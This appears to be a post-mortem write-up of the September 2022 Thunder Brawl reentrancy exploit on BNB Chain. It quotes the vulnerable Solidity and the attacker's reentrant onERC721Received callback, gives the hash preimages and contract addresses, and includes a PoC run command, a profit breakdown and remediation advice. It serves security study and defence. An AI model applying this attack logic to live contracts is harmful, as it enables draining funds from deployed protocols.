Reproduced Exploit
Thunder Brawl (THB) Exploit — `claimReward()` Reentrancy via ERC-721 Mint Callback
House_Wallet.claimReward() (House_Wallet.sol:248-274) pays a winner 2× amount, then mints them a reward NFT, and only after that deletes the win record (delete winners[_ID][_player]). The NFT mint is a _safeMint, which calls the
Loss
Reentrant draining of House_Wallet's BNB: the single winning bet of 0.30828 BNB was paid out 5× (≈ 3.08 BNB o…
Chain
BNB Chain
Category
Reentrancy
Date
Sep 2022
Source & credit. Exploit reproduction, trace data, and analysis adapted from DeFiHackLabs by SunWeb3Sec — an open registry of reproduced on-chain exploits. Standalone Foundry PoC and full write-up: 2022-09-THB_exp in the
evm-hack-registrymirror. Upstream DeFiHackLabs PoC:src/test/…/THB_exp.sol.
Vulnerability classes: vuln/reentrancy/single-function · vuln/logic/incorrect-order-of-operations
Reproduction: the PoC compiles & runs in an isolated Foundry project at this project folder (the umbrella DeFiHackLabs repo contains many unrelated PoCs that do not whole-compile, so this one was extracted). Full verbose trace: output.txt. Verified vulnerable sources: House_Wallet.sol · THB_Roulette.sol.
Key info#
| Loss | Reentrant draining of House_Wallet's BNB: the single winning bet of 0.30828 BNB was paid out 5× (≈ 3.08 BNB of 2× amount payouts for one 0.32 BNB deposit), plus 5 NFTs minted for free. Historically reported by SlowMist as a ~$2K incident. |
| Vulnerable contracts | House_Wallet — 0xae191Ca19F0f8E21d754c6CAb99107eD62B6fe53 · THB_Roulette (THBR NFT) — 0x72e901F1bb2BfA2339326DfB90c5cEc911e2ba3C |
| Victim | House_Wallet BNB balance (the casino bankroll) + THB_Roulette reward mint slots |
| Attacker EOA / contract | Replayed in PoC as ContractTest (0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496, Foundry default test sender) |
| Attack tx | Reproduced via fork; original incident: Thunder Brawl Roulette, BSC, Sept 2022 |
| Chain / block / date | BSC / fork at block 21,785,004 / September 2022 |
| Compiler | Solidity v0.8.7+commit.e28d00a7, optimizer on, 200 runs (both contracts) |
| Bug class | Classic reentrancy — external mint callback (onERC721Received) fires before the win record is cleared (CEI violation); compounded by a permissionless reward() mint and on-chain-derivable "secret" hashes |
TL;DR#
House_Wallet.claimReward()
(House_Wallet.sol:248-274)
pays a winner 2× amount, then mints them a reward NFT, and only after that deletes the
win record (delete winners[_ID][_player]). The NFT mint is a _safeMint, which calls the
recipient's onERC721Received hook before delete runs. Because the win record
winners[_ID][_player] is still live during the callback, the attacker re-enters claimReward()
with the same parameters, passes the winners[_ID][_player] == _amount check again, and is paid
2× amount a second time — and a third, and so on.
In the reproduced trace one legitimate 0.32 BNB bet (recorded win = 0.30828 BNB) is cashed out
5 times (5 × 0.6166 BNB = 3.08 BNB), and 5 THBR NFTs (tokenIds 632–636) are minted, before
the attacker's own balance guard stops the recursion. The delete finally runs once, at the
deepest frame, far too late to matter.
Two design choices make the bet itself free to set up:
- The "win" and "claim validity" checks are
sha256(abi.encode(_x, name, _add)) == hashValuewith hard-coded, on-chain-readable hashes — the attacker just supplies the matching preimage constants that satisfy them. THB_Roulette.reward()(THB_Roulette.sol:1532-1540) has no access control — anyone can mint reward NFTs — so the mint callback that drives the reentrancy is fully attacker-reachable.
Background — what the game does#
Thunder Brawl is an on-chain "roulette/shooting" game on BSC built from two contracts:
House_Wallet(source) — holds the BNB bankroll and runs the game. Players callshoot()with a bet (between0.006and0.32BNB). If they "win", their winnings are recorded inwinners[gameId][player]. They later callclaimReward()to collect2× amountand receive a reward NFT.THB_Roulette(source) — theTHBRERC-721 reward NFT (OpenZeppelinERC721Enumerable).House_Wallet.sendReward()mints it viareward(msg.sender, 1).
On-chain facts at the fork block (read from the trace):
| Parameter | Value |
|---|---|
gameMode | true (game live; require(gameMode) in both shoot and claimReward passes) |
hashValue (claim check) | 0x4061…c651 — checked by guess() |
hashValueTwo (win check) | 0x52ed…8265 — checked by guessWin() |
| Recorded win for the attacker | winners[1][attacker] = 308285163776493257 wei = 0.30828 BNB |
claimReward payout | _amount * 2 = 616570327552986514 wei = 0.6166 BNB |
THB_Roulette.reward() access control | none (any caller) |
Reward mint counter (rewardTotal) before | 0 |
The whole game is that claimReward pays 2× the recorded bet and then mints an NFT through a
callback, while the record that authorizes the payout is deleted last.
The vulnerable code#
1. claimReward — pay, then mint (callback), then delete (CEI violation)#
function claimReward(
uint256 _ID,
address payable _player,
uint256 _amount,
bool _rewardStatus,
uint256 _x,
string memory name,
address _add
) external {
require(gameMode);
bool checkValidity = guess(_x, name, _add); // sha256 preimage check (public hash)
if (checkValidity == true) {
if (winners[_ID][_player] == _amount) { // ① CHECK — still true on re-entry
_player.transfer(_amount * 2); // ② INTERACTION — pay 2× (2300 gas, no reenter)
if (_rewardStatus == true) {
sendReward(); // ③ INTERACTION — mints NFT → onERC721Received
}
delete winners[_ID][_player]; // ④ EFFECT — TOO LATE, runs after callback
} else {
if (_rewardStatus == true) {
sendRewardDys();
}
}
rewardStatus = false;
}
}
The fatal ordering is ①→②→③→④. The state that gates the payout (winners[_ID][_player]) is only
cleared at step ④, after the NFT mint at step ③ has already handed control to the attacker.
2. sendReward → THB_Roulette.reward() is permissionless and uses _safeMint#
function sendReward() public {
thunderbrawlRoulette.reward(msg.sender, 1);
}
function reward(address to, uint256 _mintAmount) external { // ← NO access control
uint256 supply = totalSupply();
uint256 rewardSupply = rewardTotal;
require(rewardSupply <= rewardSize, "");
for (uint256 i = 1; i <= _mintAmount; i++) {
_safeMint(to, supply + i); // ← _safeMint ⇒ onERC721Received callback
rewardTotal++;
}
}
_safeMint (OpenZeppelin, THB_Roulette.sol:1050-1060)
calls _checkOnERC721Received
(THB_Roulette.sol:1189-1211), which
invokes to.onERC721Received(...) for any contract recipient. That is the re-entry door.
3. The "secrets" are public hashes#
House_Wallet.sol:148-151 and House_Wallet.sol:224-238:
bytes32 hashValue = 0x4061e8ae4207343a0e11b687633f43176cf1ef6309011db9b4a435bb7678c651;
bytes32 hashValueTwo = 0x52ed2f0b7486dfed2ec4abef928f81bc612c7564373fe2b9d42e74ff21d18265;
...
function guess(uint256 _x, string memory name, address _add) public view returns (bool) {
return sha256(abi.encode(_x, name, _add)) == hashValue; // claim-validity gate
}
function guessWin(uint256 _x, string memory name, address _add) public view returns (bool) {
return sha256(abi.encode(_x, name, _add)) == hashValueTwo; // win gate
}
The PoC simply hands over preimages that hash to these stored values (the _x / name / _add
constants in test/THB_exp.sol:41-57), so both gates pass with no luck
involved.
Root cause — why it was possible#
The core defect is a textbook checks-effects-interactions violation: claimReward performs the
state-clearing effect (delete winners[_ID][_player]) after an external interaction
(sendReward() → _safeMint → onERC721Received) that yields control to the recipient. While the
attacker holds control inside onERC721Received, the authorizing record is untouched, so the
payout condition winners[_ID][_player] == _amount is still satisfied and the function can be
re-entered for another 2× amount payout.
Three secondary decisions turn this from "theoretically reentrant" into "trivially drainable":
- The mint is a
_safeMintto an attacker-controlled contract._safeMintis defined to call back into the recipient. Using it as the payout's final step puts an attacker hook squarely in the middle of the un-finished state transition. THB_Roulette.reward()has no access control. Even ifHouse_Walletwere trusted, the mint path it invokes is open to anyone, and it is the callback inside that mint that the attacker weaponizes. There is noonlyOwner/onlyHouseWalletguard (THB_Roulette.sol:1532).- No reentrancy guard anywhere.
House_Wallethas nononReentrantmodifier; neither contract inheritsReentrancyGuard. A singlenonReentrantonclaimRewardwould have closed the hole even with the bad ordering.
The payout multiplier 2× (_player.transfer(_amount * 2)) makes every re-entry net-positive:
each recursion pays out twice the original single bet, so the attacker extracts 2× amount per
loop until the contract's BNB runs low — which is exactly the stop condition the attacker codes into
its own callback.
Preconditions#
gameMode == true(therequire(gameMode)in bothshootandclaimRewardmust pass — it was live at the fork block).- A live win record: the attacker first calls
shoot{value: 0.32 ether}with preimages that satisfyguessWin, sowinners[1][attacker]is set tomsg.value - playerFee = 0.30828 BNB(House_Wallet.sol:177-188). - The claimant is a contract that implements
onERC721Receivedand re-entersclaimReward(test/THB_exp.sol:78-89). - Preimages for the two stored hashes (
hashValue,hashValueTwo) — these are fixed, on-chain, and reused, so they are effectively public. - Enough BNB in
House_Walletto satisfy several2× amountpayouts; the recursion self-limits when the attacker'saddress(houseWallet).balance >= _amount * 2guard fails.
No flash loan or price manipulation is needed; the only capital outlay is the single 0.32 BNB bet, returned many times over.
Attack walkthrough (with on-chain numbers from the trace)#
All figures are taken directly from output.txt. The attacker is the ContractTest
PoC contract at 0x7FA9…1496.
| # | Step | Trace ref | Effect |
|---|---|---|---|
| 0 | Bet. shoot{value: 0.32 BNB}(random, gameId=1, …, nftcheck=true, dystopianCheck=true) with the winning preimage _x / name / _add | output.txt:19 | winners[1][attacker] = 308285163776493257 wei (0.30828 BNB); internal fee/state slots 3–6,11 updated |
| 1 | Read win. winners(1, attacker) → 308285163776493257 | output.txt:30-31 | confirms _amount to pass into claimReward |
| 2 | Claim #1 (outer). claimReward(1, attacker, 0.30828 BNB, true, …) → guess() passes → _player.transfer(2× = 0.6166 BNB) → sendReward() | output.txt:32-37 | attacker receive() gets 0.6166 BNB; reward() begins mint |
| 3 | Mint #1 + callback. _safeMint mints tokenId 632 → onERC721Received fires before delete winners | output.txt:38-39 | control handed to attacker while winners[1][attacker] still == 0.30828 BNB |
| 4 | Re-enter Claim #2. callback re-calls claimReward(...) (same args) → check passes → pay 0.6166 BNB → mint tokenId 633 → callback | output.txt:42-49 | second full payout; nested deeper |
| 5 | Re-enter Claim #3. pay 0.6166 BNB → mint tokenId 634 → callback | output.txt:52-59 | third payout |
| 6 | Re-enter Claim #4. pay 0.6166 BNB → mint tokenId 635 → callback | output.txt:62-69 | fourth payout |
| 7 | Re-enter Claim #5. pay 0.6166 BNB → mint tokenId 636 → callback | output.txt:72-79 | fifth payout |
| 8 | Recursion stops. at the deepest onERC721Received (tokenId 636), the attacker's guard houseWallet.balance >= _amount * 2 is now false, so it does not re-enter; returns the ERC-721 selector | output.txt:79-82 | unwinding begins |
| 9 | delete finally runs. as the stack unwinds, delete winners[1][attacker] executes (the win record is zeroed) | output.txt:94 (slot … 0x0447…c6c9 → 0) | far too late — 5 payouts already made |
| 10 | Result. THBR.balanceOf(attacker) = 5 (was 0); 5 NFTs minted (632–636) | output.txt:143-145 | PoC assertion: 0 → 5 |
The attacker's onERC721Received is the engine of the loop
(test/THB_exp.sol:78-89):
function onERC721Received(address, address, uint256, bytes calldata)
external payable returns (bytes4)
{
uint256 _amount = houseWallet.winners(gameId, add); // still 0.30828 BNB
if (address(houseWallet).balance >= _amount * 2) { // can the house still pay 2×?
houseWallet.claimReward(gameId, add, _amount, _rewardStatus, _x1, name1, _add); // re-enter
}
return this.onERC721Received.selector;
}
Profit / loss accounting (BNB)#
| Direction | Amount |
|---|---|
Spent — single shoot bet | 0.32 BNB |
Received — claim payout #1 (2× 0.30828) | 0.61657 BNB |
| Received — claim payout #2 | 0.61657 BNB |
| Received — claim payout #3 | 0.61657 BNB |
| Received — claim payout #4 | 0.61657 BNB |
| Received — claim payout #5 | 0.61657 BNB |
| Total received | 3.08285 BNB |
| Net BNB extracted | ≈ +2.7629 BNB |
| Bonus | 5 THBR NFTs (tokenIds 632–636) minted for free |
Each claimReward pays 2 × 0.30828 = 0.61657 BNB; five executions drain 3.08285 BNB from the
House_Wallet bankroll for one 0.32 BNB deposit — a ~9.6× return, bounded only by the house's
remaining balance (the attacker's own guard cuts the loop off when the next 2× amount payout would
overrun it). Repeating the whole sequence (or sizing the bet) lets an attacker drain the bankroll to
the last < 2× amount.
Diagrams#
Sequence of the attack#
Control flow inside claimReward (where the re-entry slips in)#
House bankroll vs. NFT balance across the 5 re-entrant claims#
Why each magic number#
shoot{value: 0.32 ether}— the bet must satisfy0.32e18 >= msg.value && 0.006e18 <= msg.value(House_Wallet.sol:177); 0.32 BNB is the max, recording the largest possible win (msg.value - playerFee = 0.30828 BNB) and so the largest2×payout per re-entry._x = 2_845_798_…258_446,name = "HATEFUCKING…PREVIOUS",_add = 0x6Ee7…1ce1— preimages whosesha256(abi.encode(...))equalshashValueTwo(0x52ed…8265), soguessWinreturns true insideshootand the win is recorded (test/THB_exp.sol:46-48, confirmed by thePRECOMPILES::sha256 → 0x52ed…8265at output.txt:20-21)._x1 = 969_820_…468_486,name1 = "WELCOMETO…GAME",_add = 0x6Ee7…1ce1— preimages whosesha256equalshashValue(0x4061…c651), soguessreturns true insideclaimReward(test/THB_exp.sol:55-57, confirmed by the repeatedPRECOMPILES::sha256 → 0x4061…c651at output.txt:33-34)._amount = 0.30828 BNB— read live fromwinners(1, attacker); it must exactly equal the stored record for thewinners[_ID][_player] == _amountcheck to pass on every re-entry.balance >= _amount * 2guard in the callback — the attacker's own stop condition; it lets the loop run as long as the house can still pay another2×payout, then halts gracefully so the finalclaimRewarddoesn't revert on a failedtransfer.
Remediation#
- Checks-Effects-Interactions. Delete the win record before any external interaction:
With the record cleared first, the re-entrant
if (winners[_ID][_player] == _amount) { delete winners[_ID][_player]; // ← EFFECT first _player.transfer(_amount * 2); // then INTERACTION if (_rewardStatus) sendReward(); }claimRewardfails the== _amountcheck and the loop is dead. - Add a reentrancy guard. Inherit OpenZeppelin
ReentrancyGuardand markclaimReward(andshoot)nonReentrant. This stops re-entry even if the ordering is wrong. - Lock down
THB_Roulette.reward(). It must only be callable by theHouse_Wallet(require(msg.sender == houseWallet)or anonlyMinterrole) (THB_Roulette.sol:1532). As written, anyone can mint reward NFTs and, more importantly, the open mint path is what supplies the attacker's callback hook. - Don't use
_safeMintas a payout side-effect, or mint last with no further state. If a callback-bearing mint must happen, do it strictly after all state is finalized and all funds are sent, and treat the callback as untrusted. - Stop relying on stored hashes as secrets.
hashValue/hashValueTwoand their preimages are on-chain and reused; any "win"/"claim" gate built on them is forgeable. Use a commit-reveal scheme with per-game nonces, or a signed authorization from an off-chain operator, so a winning claim cannot be replayed or fabricated. - Use
.callwith success checks instead of.transfer, and follow pull-over-push for payouts, so the bankroll cannot be drained by a recipient that re-enters during the reward step.
How to reproduce#
The PoC was extracted into a standalone Foundry project (the umbrella DeFiHackLabs repo has many
unrelated PoCs that fail to whole-compile under forge test):
_shared/run_poc.sh 2022-09-THB_exp --mt testExploit -vvvvv
- RPC: a BSC archive endpoint is required (fork block 21,785,004). Most public BSC RPCs prune
state that old and fail with
header not found/missing trie node. - The test only asserts the NFT balance jump (
0 → 5) as a compact proxy for the reentrancy; the BNB drain (5 ×0.6166 BNB) is visible in the trace'sreceive{value: 616570327552986514}lines.
Expected tail (output.txt):
Ran 1 test for test/THB_exp.sol:ContractTest
[PASS] testExploit() (gas: 798091)
Logs:
Attacker THBR balance before exploit: 0
Attacker THBR balance after exploit: 5
...
Suite result: ok. 1 passed; 0 failed; 0 skipped
The before: 0 → after: 5 (five reward NFTs minted in one transaction from a single win record)
is the mechanical signature of the reentrancy: each NFT corresponds to one extra, unauthorized
claimReward payout.
Reference: DeFiHackLabs — Thunder Brawl (THB), BSC, September 2022. SlowMist Hacked: https://hacked.slowmist.io/
Sources & further analysis#
Reproductions & code
- Standalone PoC + full trace: 2022-09-THB_exp (evm-hack-registry mirror).
- Upstream DeFiHackLabs PoC:
THB_exp.sol.
Alerts & third-party analyses
- DeFiHackLabs incident explorer: search "Thunder Brawl (THB) Exploit".
- Web3Sec X hacked database: search.
- Rekt leaderboard: search.
- Solodit incident search: search.
These dashboards index community alerts tweets, post-mortems, and independent write-ups. Reach them through the protocol name above to cross-check this reproduction against other analyses.